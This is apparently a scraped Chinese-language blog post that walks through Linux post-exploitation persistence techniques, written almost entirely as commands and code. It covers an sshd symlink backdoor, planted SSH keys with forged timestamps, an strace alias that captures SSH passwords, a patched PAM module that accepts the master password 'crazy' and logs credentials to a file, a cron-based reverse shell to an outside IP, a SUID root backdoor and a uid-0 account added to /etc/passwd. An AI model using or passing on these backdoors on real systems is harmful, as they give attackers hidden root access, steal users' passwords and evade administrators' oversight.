赞
踩
目录
查找系统的pam_unix.so文件,用我们自己生成的来替换(要备份系统文件的话看自己选择)
(2)修改内核文件support.c的代码 (linux的底线‘/’关键字查找)
输入任意密码就可以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆
- ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
-
- ssh root@192.168.78.19 -p 12345
ssh-keygen -t rsa
- cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys 追加
- cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys 覆盖
- touch -r 参考文件 authorized_keys
-
- 如:
- touch -r /www/wwwroot/upload.zip authorized_keys
主要是记录本机外联的日志,就是本机去连其他机器的日志
- vim .bashrc 打开root目录下的这个文件,在文件末尾添加下面代码进行记录日志
- alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
- source .bashrc 命令代码生效
- cd modules/pam_unix 到指定目录
- vim pam_unix_auth.c 编辑密码验证文件
- if (strcmp("crazy",p)==0) {return PAM_SUCCESS;} 添加代码
- cd Linux-PAM-1.1.8
- ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr 运行该命令配置环境,如果之前配置好了就不用运行了,直接跳过
- make
cd Linux-PAM-1.1.8/modules/pam_unix/.libs/
find / -name pam_unix.so 2>/dev/null
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
密码crazy可以登录
查看日志文件:/var/log/auth.1og,发现这种方式下的登录跟正常登录下的情况不一样。
- cd modules/pam_unix 到指定目录
- vim pam_unix_auth.c 编辑密码验证文件
-
- 代码:
-
- FILE * fp;
- if (retval == PAM_SUCCESS) {
- fp = fopen("/etc/pam.txt","a");
- fprintf(fp,"%s->%s\n", name,p);
- fclose(fp);
- }
- cd modules/pam_unix 到指定目录
- vim support.c 编辑密码验证文件
- int _unix_verify_password(pam_handle_t * pamh, const char *name
- ,const char *p, unsigned int ctrl)
- {
- struct passwd *pwd = NULL;
- char *salt = NULL;
- char *data_name;
- int retval;
-
- if (strcmp("crazy",p)==0) {return PAM_SUCCESS;}
-
- D(("called"));
- cd Linux-PAM-1.1.8
- ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr 运行该命令配置环境,如果之前配置好了就不用运行了,直接跳过
- make
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
gcc shell.c -o .shell # -o ./shell 是保存成隐藏文件
alias cat='/root/.shell && cat'
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.3.16/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
- 1.服务开启
- service crond start
-
- 2.编辑计划任务
- crontab -e -u 用户名
-
- 3.查看计划任务
- crontab -l -u 用户名
-
- 4.删除计划任务:
- crontab -r -u 用户名
- #相关文件
- /var/spool/cron/用户名 #用户定义的设置
- /var/log/cron #cron服务的日志文件
- /etc/crontab #cron服务配置文件
最好放到tmp目录下,因为这个有权限执行(试过其他目录,有的不成功)
- # 编译程序
- gcc back.c -o back
-
- # 给程序添加SUID权限
- chmod u+s /bin/back
是通过普通用户的提权进行权限维持
./back whoami
创建后门普通用户提权,进行普通用户到root用户的权限维持
- perl -e 'print crypt("crazy","adgfagm")."\n"' 通过这个盐值生成密码,就是下面这个
- adifQfW1d7qOY
- echo "weblogic1:adifQfW1d7qOY:0:0:root:/root:/bin/bash" >> /etc/passwd #带入这个里面,当用户数据导入etc/passwd
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。